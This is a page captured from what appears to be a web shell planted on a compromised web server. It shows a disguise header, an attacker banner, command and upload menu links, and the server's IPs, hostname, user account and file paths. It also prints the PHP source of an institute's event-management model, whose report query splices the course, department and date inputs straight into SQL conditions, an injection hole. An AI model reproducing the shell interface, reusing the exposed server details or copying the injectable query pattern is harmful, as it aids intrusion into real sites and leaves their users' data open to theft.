GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.118.154.237
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../cas/assets/../application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../cas/assets/../application/models/admin/EventManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To Event Management
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class EventManagement extends CI_Model {

    function createNewEvent(array $newEventInfo) {
        $this->db->insert('institute_event_mst', $newEventInfo);
        return $this->db->insert_id();
    }

    function getAllEvents() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('institute_event_mst IEM');
        $this->db->join('tbl_session_master TSM', 'IEM.session_id = TSM.session_id');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'IEM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_staff_members TSMA', 'IEM.iem_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'IEM.iem_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("IEM.iem_updated_on", "desc");
        return $this->db->get();
    }

    function getEventInfoBy($iem_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('institute_event_mst IEM');
        $this->db->join('tbl_session_master TSM', 'IEM.session_id = TSM.session_id');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'IEM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_staff_members TSMA', 'IEM.iem_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'IEM.iem_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("IEM.iem_id", $iem_id);
        return $this->db->get();
    }

    function getEventReport($session = '', $type = '', $course = '', $department = '', $subDepartment = '', $startDate = '', $endDate = '', $rangeAppliedwith = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('institute_event_mst IEM');
        $this->db->join('tbl_session_master TSM', 'IEM.session_id = TSM.session_id');
        $this->db->join('tbl_achievement_heads_mst TAHM', 'IEM.tsam_id = TAHM.tsam_id');
        $this->db->join('tbl_staff_members TSMA', 'IEM.iem_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'IEM.iem_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        /* Session Wise Filter */
        if ($session != '') {
            $this->db->where('IEM.session_id', $session);
        }
        /* Session Wise Filter */
        /* Event Type Wise Filter */
        if ($type != '') {
            $this->db->where('IEM.tsam_id', $type);
        }
        /* Event Type Wise Filter */
        /* Course Wise Filter */
        if ($course != '') {
            $this->db->where("find_in_set(" . $course . ",iem_courses)> 0");
        }
        /* Course Wise Filter */
        /* Department Wise Filter */
        if ($department != '') {
            $this->db->where("find_in_set(" . $department . ",iem_depts)> 0");
        }
        /* Department Wise Filter */
        /* Sub-Department Wise Filter */
        if ($subDepartment != '') {
            $this->db->where("find_in_set(" . $subDepartment . ",iem_sub_depts)> 0");
        }
        /* Sub-Department Wise Filter */
        /* Dates Combination */
        if ($startDate != '' && $endDate != '') {
            if ($rangeAppliedwith == "EVNTDT") {
                $this->db->where("IEM.iem_start_date >= '" . $startDate . "' && IEM.iem_end_date <= '" . $endDate . "'");
            } else {
                $this->db->where("IEM.iem_added_on >= '" . $startDate . "' && IEM.iem_added_on <= '" . $endDate . "'");
            }
        } else if ($startDate == '' && $endDate != '') {
            if ($rangeAppliedwith == "EVNTDT") {
                $this->db->where("IEM.iem_end_date <= '" . $endDate . "'");
            } else {
                $this->db->where("IEM.iem_added_on <= '" . $endDate . "'");
            }
        } else if ($startDate != '' && $endDate == '') {
            if ($rangeAppliedwith == "EVNTDT") {
                $this->db->where("IEM.iem_start_date >= '" . $startDate . "'");
            } else {
                $this->db->where("IEM.iem_added_on >= '" . $startDate . "'");
            }
        }
        /* Dates Combination */
        return $this->db->get();
    }

    function updateEventInfo(array $eventUpdatedInfo) {
        $this->db->where('iem_id', $eventUpdatedInfo['iem_id']);
        return $this->db->update('institute_event_mst', $eventUpdatedInfo);
    }

}

KBHT - 2023